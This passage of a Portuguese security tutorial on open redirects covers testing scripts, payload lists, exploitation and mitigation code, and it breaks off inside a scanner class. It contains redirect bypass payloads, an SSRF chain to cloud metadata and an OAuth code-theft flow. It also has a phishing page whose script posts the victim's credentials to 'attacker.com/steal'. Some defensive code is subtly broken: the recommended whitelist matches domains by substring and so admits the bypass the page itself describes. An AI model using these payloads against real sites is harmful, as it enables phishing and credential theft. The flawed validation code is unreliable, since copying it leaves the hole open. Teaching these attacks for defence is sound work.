# Open Redirects

Open Redirects são vulnerabilidades que permitem que atacantes redirecionem usuários para domínios maliciosos através de URLs legítimas da aplicação, explorando a confiança do usuário no domínio original.

### **Princípio de Funcionamento**

```
Usuário Confia → Aplicação Legítima → Redirecionamento Malicioso → Site Atacante
      ↓                 ↓                       ↓                   ↓
 Clica em link    Processa parâmetro      Redireciona para    Realiza phishing/
 de site confiável de redirecionamento    domínio atacante    malware download
```

### **Características da Vulnerabilidade**

* **Explora a confiança do usuário** no domínio legítimo
* **Pode levar a phishing avançado** e roubo de credenciais
* **Frequentemente subestimada** em termos de severidade
* **Combinável com outras vulnerabilidades** para ataques mais complexos
* **Comum em funcionalidades** de login, logout e redirecionamento pós-ação

### **Tipos de Open Redirects**

#### **1. Baseados em Parâmetros HTTP**

```http
GET /redirect?url=https://evil.com HTTP/1.1
Host: legit-site.com

GET /login?redirect=https://evil.com/phishing
GET /logout?next=https://evil.com
```

#### **2. Baseados em Caminhos Relativos/Absolutos**

```http
GET //evil.com HTTP/1.1
Host: legit-site.com

GET /redirect?url=//evil.com
GET /out?to=\evil.com
```

#### **3. Baseados em Encodings**

```http
GET /redirect?url=https%3A%2F%2Fevil.com
GET /goto?url=%2F%2Fevil.com
```

#### **4. Baseados em Subdomínios**

```http
GET @evil.com HTTP/1.1
Host: legit-site.com
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo de Ataque Completo**

```mermaid
sequenceDiagram
    participant U as Usuário
    participant A as Aplicação Vulnerável
    participant E as Site Atacante

    Note over U,E: FASE 1: Preparação
    E->>E: Cria página de phishing/malware
    E->>E: Gera URL maliciosa com open redirect
    
    Note over U,E: FASE 2: Distribuição
    E->>U: Envia URL via email, mensagem, etc.
    Note right of U: Usuário vê URL legítima<br/>e confia
    
    Note over U,A: FASE 3: Redirecionamento
    U->>A: Acessa URL legítima com parâmetro malicioso
    A->>A: Processa redirecionamento sem validação
    A->>E: Redireciona usuário para site malicioso
    
    Note over U,E: FASE 4: Exploração
    E->>U: Exibe página de phishing idêntica
    U->>E: Insere credenciais (enganado)
    E->>E: Rouba credenciais/executa malware
```

### **Cenário 1: Redirecionamento Simples**

```http
# Vulnerabilidade básica em parâmetro de URL
GET /redirect?url=https://evil-phishing.com HTTP/1.1
Host: trusted-bank.com

# Resposta - redirecionamento imediato
HTTP/1.1 302 Found
Location: https://evil-phishing.com

# Ou via meta refresh
HTTP/1.1 200 OK
Content-Type: text/html
<html>
<head>
    <meta http-equiv="refresh" content="0; url=https://evil-phishing.com">
</head>
```

### **Cenário 2: Redirecionamento em Fluxo de Login**

```http
# Fluxo de login com redirecionamento pós-autenticação
GET /login?returnUrl=https://evil.com/dashboard HTTP/1.1
Host: app.trusted.com

# Usuário faz login...
POST /login HTTP/1.1
Host: app.trusted.com
Content-Type: application/x-www-form-urlencoded

username=user&password=pass&returnUrl=https://evil.com/dashboard

# Após login bem-sucedido
HTTP/1.1 302 Found
Location: https://evil.com/dashboard
# Credenciais válidas + redirecionamento para site malicioso
```

### **Cenário 3: Bypass de Validação com Encodings**

```python
# Validação ingênua que pode ser bypassed
def validate_redirect(url):
    # Verificação fraca - só checa se começa com http
    if url.startswith('http://trusted-site.com') or url.startswith('https://trusted-site.com'):
        return True
    return False

# Bypasses possíveis:
# https://trusted-site.com.evil.com
# https://trusted-site.com@evil.com
# http://trusted-site.com?redirect=evil.com
# https://trusted-site.com%2F.evil.com
```

### **Cenário 4: Redirecionamento com Data URIs**

```http
# Redirecionamento para Data URI
GET /redirect?url=data:text/html,<script>alert('XSS')</script> HTTP/1.1
Host: target.com

# Ou para javascript: URLs
GET /goto?url=javascript:alert(document.domain) HTTP/1.1
Host: target.com
```

### **Cenário 5: Open Redirect em Headers HTTP**

```http
# Exploração via header Referer
GET /dashboard HTTP/1.1
Host: target.com
Referer: https://target.com/logout?next=https://evil.com

# Aplicação que redireciona baseado no Referer
if request.headers.get('Referer'):
    return redirect(request.headers['Referer'])
```

### **Cenário 6: Chain com SSRF**

```http
# Open Redirect + SSRF
GET /proxy?url=https://target.com/redirect?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: vulnerable-app.com

# Fluxo:
# 1. Acessa proxy SSRF
# 2. Proxy acessa open redirect
# 3. Open redirect redireciona para metadata AWS
# 4. Proxy retorna dados sensíveis
```

***

## 🔎 **Identificação e Detecção**

### **Indicadores de Vulnerabilidade**

```bash
# Pontos críticos para teste
- Parâmetros como: redirect, return, next, url, goto, target
- Funcionalidades de login/logout com redirecionamento
- Links de "Voltar" ou "Continuar" com URLs dinâmicas
- APIs de OAuth/SSO com parâmetros de callback
- Pages de erro com redirecionamento
```

### **Locais Comuns de Open Redirects**

```
Autenticação:
  /login?redirect=https://...
  /logout?next=https://...
  /oauth/authorize?redirect_uri=...

Navegação:
  /redirect?url=https://...
  /goto?target=https://...
  /out?link=https://...

Utilidades:
  /language?return=https://...
  /theme?redirect=https://...
  /warning?continue=https://...

APIs:
  /api/redirect?url=https://...
  /v1/callback?return_url=https://...
```

### **Metodologia de Teste Manual**

{% stepper %}
{% step %}

#### **1. Identificação de Parâmetros de Redirecionamento**

```python
# Script para identificar parâmetros de redirecionamento
import requests
from urllib.parse import urljoin, urlparse

class RedirectParameterFinder:
    def __init__(self, target_url):
        self.target = target_url
        self.redirect_params = []
    
    def find_redirect_parameters(self, html_content):
        """Encontrar parâmetros de redirecionamento no HTML"""
        import re
        
        # Padrões comuns em forms e links
        patterns = [
            r'name=[\"\'](redirect|return|next|url|target|goto|r|forward|destination)[\"\']',
            r'href=[\"\'][^\"\']*\?(.*?)=[^\"\']*[\"\']',
            r'window\.location\s*=\s*[^;]+',
            r'location\.href\s*=\s*[^;]+'
        ]
        
        for pattern in patterns:
            matches = re.findall(pattern, html_content, re.IGNORECASE)
            if matches:
                self.redirect_params.extend(matches)
        
        return list(set(self.redirect_params))
    
    def test_parameters_in_urls(self, urls):
        """Testar URLs por parâmetros de redirecionamento"""
        vulnerable_urls = []
        
        for url in urls:
            parsed = urlparse(url)
            if parsed.query:
                params = parsed.query.split('&')
                for param in params:
                    if '=' in param:
                        key, value = param.split('=', 1)
                        if any(redirect_key in key.lower() for redirect_key in 
                              ['redirect', 'return', 'next', 'url', 'target', 'goto']):
                            vulnerable_urls.append(url)
        
        return vulnerable_urls

# Uso
finder = RedirectParameterFinder('https://target.com')
html = requests.get('https://target.com').text
params = finder.find_redirect_parameters(html)
print("Parâmetros encontrados:", params)
```

{% endstep %}

{% step %}

#### **2. Teste de Payloads de Redirecionamento**

```python
class RedirectTester:
    def __init__(self, target_url):
        self.target = target_url
        self.vulnerabilities = []
    
    def generate_test_payloads(self, base_domain="evil.com"):
        """Gerar payloads de teste para open redirects"""
        payloads = [
            # URLs absolutas
            f"https://{base_domain}",
            f"http://{base_domain}",
            
            # Protocol-relative
            f"//{base_domain}",
            
            # With credentials
            f"https://target.com@{base_domain}",
            f"https://{base_domain}@target.com",
            
            # Encoded
            f"https%3A%2F%2F{base_domain}",
            f"%2F%2F{base_domain}",
            
            # Data URI
            "data:text/html,<h1>Redirect</h1>",
            
            # JavaScript
            "javascript:alert(1)",
            
            # Double encoding
            f"https%253A%252F%252F{base_domain}",
            
            # Localhost bypass
            "http://localhost.evil.com",
            "http://127.0.0.1.nip.io",
            
            # Subdomain tricks
            f".{base_domain}",
            f"@.{base_domain}",
        ]
        return payloads
    
    def test_redirect_endpoint(self, endpoint, param_name, method='GET'):
        """Testar endpoint específico para open redirect"""
        payloads = self.generate_test_payloads()
        
        for payload in payloads:
            if method.upper() == 'GET':
                url = f"{self.target}{endpoint}?{param_name}={payload}"
                response = requests.get(url, allow_redirects=False)
            else:
                url = f"{self.target}{endpoint}"
                data = {param_name: payload}
                response = requests.post(url, data=data, allow_redirects=False)
            
            if self.is_redirect_vulnerable(response, payload):
                self.vulnerabilities.append({
                    'endpoint': endpoint,
                    'parameter': param_name,
                    'payload': payload,
                    'status_code': response.status_code,
                    'location': response.headers.get('Location', '')
                })
    
    def is_redirect_vulnerable(self, response, payload):
        """Verificar se redirecionamento é vulnerável"""
        if response.status_code in [301, 302, 303, 307, 308]:
            location = response.headers.get('Location', '')
            
            # Verificar se Location header contém nosso payload
            if payload in location or self.normalize_url(payload) in self.normalize_url(location):
                return True
            
            # Verificar meta refresh
            if 'meta http-equiv="refresh"' in response.text and payload in response.text:
                return True
        
        return False
    
    def normalize_url(self, url):
        """Normalizar URL para comparação"""
        return url.replace('https://', '').replace('http://', '').replace('//', '')
```

{% endstep %}

{% step %}

#### **3. Teste de Blind Open Redirects**

```python
# Para casos onde não há feedback visual imediato
def test_blind_redirect(target_url, param_name, canary_domain="your-canary-domain.com"):
    """Testar open redirects blind usando domínio canário"""
    
    payloads = [
        f"https://{canary_domain}",
        f"http://{canary_domain}",
        f"//{canary_domain}",
    ]
    
    for payload in payloads:
        url = f"{target_url}?{param_name}={payload}"
        
        try:
            # Usar head para evitar carregamento completo
            response = requests.head(url, allow_redirects=True, timeout=10)
            
            # Verificar se passou pelo canário (monitorar logs do canário)
            print(f"Tested: {payload} - Status: {response.status_code}")
            
        except requests.RequestException as e:
            print(f"Error testing {payload}: {e}")

# Monitorar logs do domínio canário para detectar tráfego
```

{% endstep %}
{% endstepper %}

### **Técnicas de Fingerprinting**

#### **1. Análise de Comportamento de Redirecionamento**

```javascript
// Script para analisar comportamento de redirecionamento no navegador
function analyzeRedirectBehavior() {
    const testParams = [
        'redirect', 'return', 'next', 'url', 'target', 'goto',
        'returnUrl', 'redirect_uri', 'callback', 'continue'
    ];
    
    const baseUrl = window.location.origin;
    const results = [];
    
    testParams.forEach(param => {
        const testUrl = `${baseUrl}/?${param}=https://google.com`;
        
        // Medir tempo de resposta para detectar redirecionamentos
        const startTime = performance.now();
        
        fetch(testUrl, { 
            method: 'HEAD',
            redirect: 'manual' // Não seguir redirecionamentos
        })
        .then(response => {
            const responseTime = performance.now() - startTime;
            
            if (response.status >= 300 && response.status < 400) {
                const location = response.headers.get('Location');
                results.push({
                    parameter: param,
                    vulnerable: true,
                    status: response.status,
                    location: location,
                    responseTime: responseTime
                });
            } else {
                results.push({
                    parameter: param,
                    vulnerable: false,
                    status: response.status,
                    responseTime: responseTime
                });
            }
        })
        .catch(error => {
            results.push({
                parameter: param,
                error: error.message
            });
        });
    });
    
    return results;
}

// Executar análise
analyzeRedirectBehavior().then(console.table);
```

#### **2. Detecção de Validações no Client-Side**

```javascript
// Verificar se validações existem apenas no frontend
function checkClientSideRedirectValidation() {
    const indicators = [];
    
    // Verificar event listeners em forms
    document.querySelectorAll('form').forEach(form => {
        const onSubmit = form.getAttribute('onsubmit');
        if (onSubmit && onSubmit.includes('redirect') && onSubmit.includes('validate')) {
            indicators.push(`Form validation found: ${onSubmit.substring(0, 100)}`);
        }
    });
    
    // Verificar funções de validação JavaScript
    const scripts = document.querySelectorAll('script');
    scripts.forEach(script => {
        if (script.textContent) {
            const validationFunctions = script.textContent.match(/function\s+validateRedirect[^{]*\{[^}]*\}/g);
            if (validationFunctions) {
                indicators.push('Redirect validation functions found in script');
            }
        }
    });
    
    // Verificar inputs hidden com valores de redirect
    document.querySelectorAll('input[type="hidden"]').forEach(input => {
        if (input.name.includes('redirect') && input.value) {
            indicators.push(`Hidden redirect input: ${input.name}=${input.value}`);
        }
    });
    
    return indicators;
}
```

***

## 💥 **Exploração e Impacto**

### **Técnicas de Exploração Avançadas**

{% stepper %}
{% step %}

#### **1. Phishing com Domínios Legítimos**

```html
<!-- Página de phishing que explora open redirect -->
<!DOCTYPE html>
<html>
<head>
    <title>Bank Login - Security Verification</title>
    <style>
        /* CSS idêntico ao banco real */
        body { font-family: Arial, sans-serif; background: #f5f5f5; }
        .login-box { width: 300px; margin: 100px auto; padding: 20px; background: white; border-radius: 5px; }
    </style>
</head>
<body>
    <div class="login-box">
        <h2>Security Verification Required</h2>
        <p>Please re-enter your credentials for security purposes.</p>
        <form id="phishingForm">
            <input type="text" name="username" placeholder="Username" required>
            <input type="password" name="password" placeholder="Password" required>
            <button type="submit">Verify</button>
        </form>
    </div>

    <script>
        document.getElementById('phishingForm').addEventListener('submit', function(e) {
            e.preventDefault();
            const formData = new FormData(this);
            
            // Enviar credenciais para atacante
            fetch('https://attacker.com/steal', {
                method: 'POST',
                body: JSON.stringify(Object.fromEntries(formData))
            });
            
            // Redirecionar para página real (para não levantar suspeitas)
            window.location.href = 'https://real-bank.com/login?redirect=https://real-bank.com/dashboard';
        });
        
        // URL maliciosa que explora open redirect
        // https://real-bank.com/redirect?url=https://attacker.com/phishing
    </script>
</body>
</html>
```

{% endstep %}

{% step %}

#### **2. Chain com XSS para Redirecionamento Silencioso**

```javascript
// Exploração combinada: XSS + Open Redirect
<script>
// Primeiro, explorar XSS para injetar script
// Depois, usar open redirect para redirecionamento silencioso

// Método 1: Via JavaScript
window.location.href = 'https://trusted-site.com/redirect?url=https://evil.com';

// Método 2: Via meta refresh
document.write('<meta http-equiv="refresh" content="0; url=https://trusted-site.com/redirect?url=https://evil.com">');

// Método 3: Via iframe (menos detectável)
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.src = 'https://trusted-site.com/redirect?url=https://evil.com';
document.body.appendChild(iframe);
</script>
```

{% endstep %}

{% step %}

#### **3. Bypass de Validações Avançadas**

```python
# Técnicas para bypass de validações comuns
def generate_bypass_payloads(target_domain, evil_domain):
    bypasses = []
    
    # 1. URL encoding
    bypasses.append(f"https%3A%2F%2F{evil_domain}")
    bypasses.append(f"http%3A%2F%2F{evil_domain}")
    
    # 2. Double URL encoding
    bypasses.append(f"https%253A%252F%252F{evil_domain}")
    
    # 3. HTML entities
    bypasses.append(f"https://{evil_domain}".replace('/', '&#x2F;'))
    
    # 4. Unicode normalization
    bypasses.append(f"https://{evil_domain}".replace('e', 'ｅ'))  # Fullwidth
    
    # 5. URL fragments
    bypasses.append(f"https://{target_domain}#@{evil_domain}")
    
    # 6. Parameter pollution
    bypasses.append(f"https://{target_domain}?next=https://{evil_domain}")
    
    # 7. Subdomain tricks
    bypasses.append(f"https://{target_domain}.{evil_domain}")
    bypasses.append(f"https://{evil_domain}@{target_domain}")
    
    # 8. Localhost bypass
    bypasses.append(f"http://localhost@{evil_domain}")
    bypasses.append(f"http://127.0.0.1@{evil_domain}")
    
    return bypasses

# Exemplo de validação que pode ser bypassed
def weak_validation(redirect_url):
    # Validação que só verifica se contém o domínio
    if 'trusted-site.com' in redirect_url:
        return True
    return False

# Todos esses payloads contêm 'trusted-site.com' mas redirecionam para evil.com
```

{% endstep %}

{% step %}

#### **4. Exploração em Fluxos OAuth/SSO**

```http
# Ataque a fluxo OAuth com open redirect
GET /oauth/authorize?client_id=123&redirect_uri=https://trusted-site.com/redirect?url=https://attacker.com&response_type=code HTTP/1.1
Host: oauth-provider.com

# Fluxo:
# 1. Usuário autoriza app no OAuth provider
# 2. OAuth provider redireciona para redirect_uri com code
# 3. trusted-site.com redireciona para attacker.com com o code
# 4. Atacante intercepta code e troca por access token
```

{% endstep %}
{% endstepper %}

### **Impacto das Vulnerabilidades**

#### **Classificação de Impacto**

```json
{
  "impacto_alto": {
    "phishing_avancado": [
      "Roubo de credenciais de usuários",
      "Ataques de spear phishing",
      "Comprometimento de contas corporativas"
    ],
    "malware_distribution": [
      "Distribuição de malware",
      "Drive-by downloads",
      "Infecção em cadeia"
    ]
  },
  "impacto_medio": {
    "trust_exploitation": [
      "Abuso de confiança do usuário",
      "Danos à reputação da marca",
      "Perda de confiança dos clientes"
    ],
    "business_logic_bypass": [
      "Bypass de verificações de segurança",
      "Acesso não autorizado a recursos",
      "Manipulação de fluxos de aplicação"
    ]
  },
  "impacto_baixo": {
    "user_annoyance": [
      "Redirecionamentos indesejados",
      "Experiência de usuário prejudicada",
      "Perda de produtividade"
    ],
    "seo_spam": [
      "Redirecionamentos para spam",
      "Abuso de rankeamento SEO",
      "Links maliciosos indexados"
    ]
  }
}
```

#### **Cadeias de Ataque Completas**

```
Cenário Phishing:
Open Redirect → Página de Phishing Idêntica → Roubo de Credenciais → Acesso Não Autorizado

Cenário Malware:
Open Redirect → Landing Page Maliciosa → Drive-by Download → Infecção do Sistema

Cenário SSRF:
Open Redirect + SSRF → Redirecionamento Interno → Acesso a Metadados → Comprometimento
```

***

## 🛡️ **Mitigação e Correção**

### **Estratégias de Defesa em Camadas**

#### **1. Lista Branca de URLs Permitidas**

```python
class SafeRedirect:
    def __init__(self):
        self.allowed_domains = {
            'trusted-site.com',
            'app.trusted-site.com',
            'api.trusted-site.com',
            'www.trusted-site.com'
        }
        
        self.allowed_paths = {
            '/dashboard',
            '/profile',
            '/settings',
            '/home'
        }
    
    def is_safe_redirect(self, redirect_url):
        """Verificar se URL de redirecionamento é segura"""
        from urllib.parse import urlparse
        
        # Se URL estiver vazia ou None
        if not redirect_url:
            return False
        
        # Parse da URL
        try:
            parsed = urlparse(redirect_url)
        except Exception:
            return False
        
        # Bloquear esquemas perigosos
        dangerous_schemes = ['javascript', 'data', 'vbscript', 'file']
        if parsed.scheme and parsed.scheme.lower() in dangerous_schemes:
            return False
        
        # Para URLs absolutas
        if parsed.netloc:
            # Verificar se domínio está na whitelist
            domain = parsed.netloc.lower()
            if not any(allowed_domain in domain for allowed_domain in self.allowed_domains):
                return False
        
        # Para URLs relativas
        else:
            # Verificar se path está na whitelist
            if parsed.path not in self.allowed_paths:
                return False
        
        return True
    
    def safe_redirect(self, redirect_url, default_url='/'):
        """Redirecionamento seguro com fallback"""
        if self.is_safe_redirect(redirect_url):
            return redirect_url
        else:
            return default_url

# Uso
redirect_handler = SafeRedirect()

@app.route('/login')
def login():
    return_url = request.args.get('returnUrl', '/')
    safe_url = redirect_handler.safe_redirect(return_url, '/dashboard')
    
    # Processar login...
    return redirect(safe_url)
```

#### **2. Validação Baseada em Mapping**

```python
# Mapeamento de tokens seguros para URLs
class TokenBasedRedirect:
    def __init__(self):
        self.redirect_tokens = {}
        self.token_expiry = 3600  # 1 hora
    
    def generate_safe_redirect(self, target_url):
        """Gerar token seguro para redirecionamento"""
        import secrets
        import time
        
        # Validar URL primeiro
        if not self.is_internal_url(target_url):
            target_url = '/'  # Fallback para URL interna
        
        # Gerar token único
        token = secrets.token_urlsafe(32)
        
        # Armazenar mapping
        self.redirect_tokens[token] = {
            'url': target_url,
            'created_at': time.time()
        }
        
        return token
    
    def resolve_redirect(self, token):
        """Resolver token para URL segura"""
        import time
        
        # Verificar se token existe
        if token not in self.redirect_tokens:
            return '/'  # Fallback
        
        redirect_data = self.redirect_tokens[token]
        
        # Verificar expiração
        if time.time() - redirect_data['created_at'] > self.token_expiry:
            del self.redirect_tokens[token]
            return '/'  # Fallback
        
        # Limpar token usado
        url = redirect_data['url']
        del self.redirect_tokens[token]
        
        return url
    
    def is_internal_url(self, url):
        """Verificar se URL é interna/relativa"""
        from urllib.parse import urlparse
        
        parsed = urlparse(url)
        
        # URLs sem scheme e netloc são internas/relativas
        return not parsed.scheme and not parsed.netloc

# Uso
redirect_mapper = TokenBasedRedirect()

@app.route('/login')
def login():
    return_url = request.args.get('returnUrl', '/')
    
    # Gerar token seguro
    token = redirect_mapper.generate_safe_redirect(return_url)
    
    # Redirecionar para login com token
    login_url = f'/auth/login?redirect_token={token}'
    return redirect(login_url)

@app.route('/auth/callback')
def auth_callback():
    token = request.args.get('redirect_token')
    safe_url = redirect_mapper.resolve_redirect(token)
    return redirect(safe_url)
```

#### **3. Middleware de Validação Global**

```python
from flask import request, redirect
import re

class RedirectProtectionMiddleware:
    def __init__(self, app):
        self.app = app
        self.redirect_params = ['redirect', 'return', 'next', 'url', 'target']
        
    def __call__(self, environ, start_response):
        # Interceptar request
        request_path = environ.get('PATH_INFO', '')
        query_string = environ.get('QUERY_STRING', '')
        
        # Verificar parâmetros de redirecionamento na query string
        if any(param in query_string for param in self.redirect_params):
            # Processar e validar redirecionamentos
            safe_environ = self.sanitize_redirects(environ)
            return self.app(safe_environ, start_response)
        
        return self.app(environ, start_response)
    
    def sanitize_redirects(self, environ):
        """Sanitizar parâmetros de redirecionamento"""
        from urllib.parse import parse_qs, urlencode
        
        query_string = environ.get('QUERY_STRING', '')
        if not query_string:
            return environ
        
        # Parse query string
        params = parse_qs(query_string)
        sanitized_params = {}
        
        for key, values in params.items():
            if key.lower() in self.redirect_params:
                # Validar cada valor de redirecionamento
                safe_values = []
                for value in values:
                    if self.is_safe_redirect_value(value):
                        safe_values.append(value)
                    else:
                        # Substituir por valor seguro
                        safe_values.append('/')
                sanitized_params[key] = safe_values
            else:
                sanitized_params[key] = values
        
        # Reconstruir query string
        new_query_string = urlencode(sanitized_params, doseq=True)
        environ['QUERY_STRING'] = new_query_string
        
        return environ
    
    def is_safe_redirect_value(self, value):
        """Verificar se valor de redirecionamento é seguro"""
        from urllib.parse import urlparse
        
        try:
            parsed = urlparse(value)
            
            # Bloquear esquemas perigosos
            if parsed.scheme and parsed.scheme.lower() in ['javascript', 'data', 'vbscript']:
                return False
            
            # Permitir apenas URLs relativas ou do mesmo domínio
            if parsed.netloc and parsed.netloc not in ['trusted-site.com', 'www.trusted-site.com']:
                return False
            
            return True
            
        except Exception:
            return False

# Uso no Flask
app = Flask(__name__)
app.wsgi_app = RedirectProtectionMiddleware(app.wsgi_app)
```

### **Padrões de Codificação Seguros**

#### **1. Validação Rigorosa com Regex**

```python
import re

class StrictRedirectValidator:
    def __init__(self):
        # Regex para URLs relativas seguras
        self.safe_relative_pattern = re.compile(r'^/?([a-zA-Z0-9\-._~%!$&\'()*+,;=:@/]|%[0-9a-fA-F]{2})*$')
        
        # Domínios permitidos (apenas para URLs absolutas)
        self.allowed_domains = [
            r'^trusted-site\.com$',
            r'^www\.trusted-site\.com$',
            r'^app\.trusted-site\.com$'
        ]
    
    def validate_redirect(self, redirect_url):
        """Validação rigorosa de URL de redirecionamento"""
        if not redirect_url:
            return False
        
        # URLs vazias ou apenas fragment
        if redirect_url in ['', '#']:
            return False
        
        # Verificar se é URL relativa
        if self.is_safe_relative_url(redirect_url):
            return True
        
        # Verificar se é URL absoluta permitida
        if self.is_allowed_absolute_url(redirect_url):
            return True
        
        return False
    
    def is_safe_relative_url(self, url):
        """Verificar se URL é relativa e segura"""
        # Não deve conter scheme ou netloc
        if '://' in url or url.startswith('//'):
            return False
        
        # Deve matchar o padrão de URL relativa segura
        return bool(self.safe_relative_pattern.match(url))
    
    def is_allowed_absolute_url(self, url):
        """Verificar se URL absoluta é permitida"""
        from urllib.parse import urlparse
        
        try:
            parsed = urlparse(url)
            
            # Verificar scheme
            if parsed.scheme not in ['http', 'https']:
                return False
            
            # Verificar domínio
            domain = parsed.netloc.lower()
            for pattern in self.allowed_domains:
                if re.match(pattern, domain):
                    return True
            
            return False
            
        except Exception:
            return False

# Uso
validator = StrictRedirectValidator()

def safe_redirect_view():
    target = request.args.get('next', '/')
    if validator.validate_redirect(target):
        return redirect(target)
    else:
        return redirect('/')  # Fallback seguro
```

#### **2. Content Security Policy para Redirecionamentos**

```python
# Configuração CSP para prevenir redirecionamentos não autorizados
@app.after_request
def set_security_headers(response):
    # Content Security Policy
    response.headers['Content-Security-Policy'] = (
        "default-src 'self'; "
        "script-src 'self'; "
        "style-src 'self' 'unsafe-inline'; "
        "img-src 'self' data:; "
        "connect-src 'self'; "
        "frame-ancestors 'none'; "
        "form-action 'self'; "  # Importante: restringe onde forms podem submit
        "base-uri 'self';"
    )
    
    # Outros headers de segurança
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'
    
    return response
```

#### **3. Logging e Monitoramento**

```python
import logging
from datetime import datetime

class RedirectLogger:
    def __init__(self):
        self.logger = logging.getLogger('redirect_security')
    
    def log_redirect_attempt(self, request, target_url, is_safe, user_agent=None):
        """Logar tentativa de redirecionamento"""
        log_data = {
            'timestamp': datetime.utcnow().isoformat(),
            'ip_address': request.remote_addr,
            'request_path': request.path,
            'target_url': target_url,
            'is_safe': is_safe,
            'user_agent': user_agent or request.headers.get('User-Agent'),
            'referrer': request.headers.get('Referer')
        }
        
        if is_safe:
            self.logger.info('Safe redirect attempt', extra=log_data)
        else:
            self.logger.warning('Blocked redirect attempt', extra=log_data)
            
            # Alertar para múltiplas tentativas bloqueadas
            self.check_for_attack_pattern(log_data)

# Uso no endpoint de redirecionamento
redirect_logger = RedirectLogger()

@app.route('/redirect')
def safe_redirect():
    target_url = request.args.get('url', '/')
    is_safe = redirect_validator.validate_redirect(target_url)
    
    # Logar tentativa
    redirect_logger.log_redirect_attempt(request, target_url, is_safe)
    
    if is_safe:
        return redirect(target_url)
    else:
        return redirect('/error?message=invalid_redirect')
```

### **Configurações de Segurança**

#### **1. Configuração Nginx para Prevenção**

```nginx
# Configuração para bloquear redirecionamentos maliciosos
server {
    listen 443 ssl;
    server_name trusted-site.com;
    
    # Bloquear parâmetros de redirecionamento suspeitos
    location ~* "\?(.*&)?(redirect|return|next|url|target)=https?://[^&]*[^.]\.[^.]" {
        return 403;
    }
    
    # Bloquear redirecionamentos para domínios externos
    location ~* "\?(.*&)?(redirect|return|next|url|target)=https?://(?!trusted-site\.com|www\.trusted-site\.com)" {
        return 403;
    }
    
    # Headers de segurança
    add_header Content-Security-Policy "default-src 'self'; form-action 'self';";
    add_header X-Frame-Options "DENY";
    add_header X-Content-Type-Options "nosniff";
}
```

#### **2. Web Application Firewall (WAF) Rules**

```python
# Exemplo de regras WAF para open redirects
WAF_RULES = [
    {
        'name': 'block_external_redirects',
        'pattern': r'[?&](?:redirect|return|next|url|target)=https?://(?!.*trusted-site\.com)',
        'action': 'block'
    },
    {
        'name': 'block_javascript_redirects',
        'pattern': r'[?&](?:redirect|return|next|url|target)=javascript:',
        'action': 'block'
    },
    {
        'name': 'block_data_uri_redirects',
        'pattern': r'[?&](?:redirect|return|next|url|target)=data:',
        'action': 'block'
    },
    {
        'name': 'block_double_slash_redirects', 
        'pattern': r'[?&](?:redirect|return|next|url|target)=//',
        'action': 'block'
    }
]
```

***

## 🔧 **Ferramentas e Testes**

### **Ferramentas de Análise Automatizada**

#### **1. Scanner de Open Redirects Personalizado**

```python
#!/usr/bin/env python3
# open_redirect_scanner.py

import requests
import urllib.parse
from concurrent.futures import ThreadPoolExecutor

class OpenRedirectScanner:
    def __init__(self, target_url):
        self.target = target_url
        self.vulnerabilities = []
        self.canary_domain = "your-canary-domain.com"  # Domínio para detecção
    
    def generate_redirect_payloads(self):
        """Gerar payloads de redirecionamento para teste"""
        payloads = []
        
        base_payloads = [
            # URLs externas
            f"https://{self.canary_domain}",
            f"http://{self.canary_domain}",
            f"//{self.canary_domain}",
            
            # Encodings
            f"https%3A%2F%2F{self.canary_domain}",
            f"http%3A%2F%2F{self.canary_domain}",
            f"%2F%2F{self.canary_domain}",
            
            # Double encoding
            f"https%253A%252F%252F{self.canary_domain}",
            
            # With credentials
            f"https://target.com@{self.canary_domain}",
            f"https://{self.canary_domain}@target.com",
            
            # Data URIs
            "data:text/html,<h1>Test</h1>",
            
            # JavaScript
            "javascript:alert(1)",
        ]
        
        # Combinar com parâmetros comuns
        parameters = ['redirect', 'return', 'next', 'url', 'target', 'goto', 'r']
        
        for param in parameters:
            for payload in base_payloads:
                payloads.append((param, payload))
        
        return payloads
    
    def test_redirect_parameter(self, param, payload):
        """Testar parâmetro específico com payload"""
        test_urls = []
        
        # Diferentes formas de testar o parâmetro
        base_urls = [
            f"{self.target}?{param}={payload}",
            f"{self.target}/?{param}={payload}",
            f"{self.target}/index?{param}={payload}",
            f"{self.target}/home?{param}={payload}",
        ]
        
        for url in base_urls:
            try:
                response = requests.get(
                    url, 
                    allow_redirects=False,
                    timeout=10,
                    headers={'User-Agent': 'Security-Scanner/1.0'}
                )
                
                if self.is_redirect_vulnerable(response, payload):
                    self.vulnerabilities.append({
                        'url': url,
                        'parameter': param,
                        'payload': payload,
                        'status_code': response.status_code,
                        'location': response.headers.get('Location', ''),
                        'type': 'GET_PARAMETER'
                    })
                    
            except requests.RequestException as e:
                print(f"Error testing {url}: {e}")
    
    def test_post_redirects(self, endpoint):
        """Testar redirecionamentos via POST"""
        payloads = self.generate_redirect_payloads()
        
        for param, payload in payloads:
            try:
                response = requests.post(
                    f"{self.target}{endpoint}",
                    data={param: payload},
                    allow_redirects=False,
                    timeout=10
                )
                
                if self.is_redirect_vulnerable(response, payload):
                    self.vulnerabilities.append({
                        'endpoint': endpoint,
                        'parameter': param,
                        'payload': payload,
                        'status_code': response.status_code,
                        'location': response.headers.get('Location', ''),
                        'type': 'POST_PARAMETER'
                    })
                    
            except requests.RequestException as e:
                print(f"Error testing POST {endpoint}: {e}")
    
    def is_redirect_vulnerable(self, response, payload):
        """Determinar se redirecionamento é vulnerável"""
        # Verificar status code de redirecionamento
        if response.status_code in [301, 302, 303, 307, 308]:
            location = response.headers.get('Location', '')
            
            # Verificar se location contém nosso payload
            if self.normalize_for_comparison(payload) in self.normalize_for_comparison(location):
                return True
            
            # Verificar se redireciona para nosso canary domain
            if self.canary_domain in location:
                return True
        
        # Verificar meta refresh
        if 'http-equiv="refresh"' in response.text:
            content = response.headers.get('Content', '') + response.text
            if self.canary_domain in content or self.normalize_for_comparison(payload) in self.normalize_for_comparison(content):
                return True
        
        # Verificar JavaScript redirection
        if 'window.location' in response.text or 'location.href' in response.text:
            content = response.headers.get('Content', '') + response.text
            if self.canary_domain in content or self.normalize_for_comparison(payload) in self.normalize_for_comparison(content):
                return True
        
        return False
    
    def normalize_for_comparison(self, text):
        """Normalizar texto para comparação (remover encodings)"""
        try:
            decoded = urllib.parse.unquote(text)
            return decoded.lower()
        except:
            return text.lower()
    
    def scan(self):
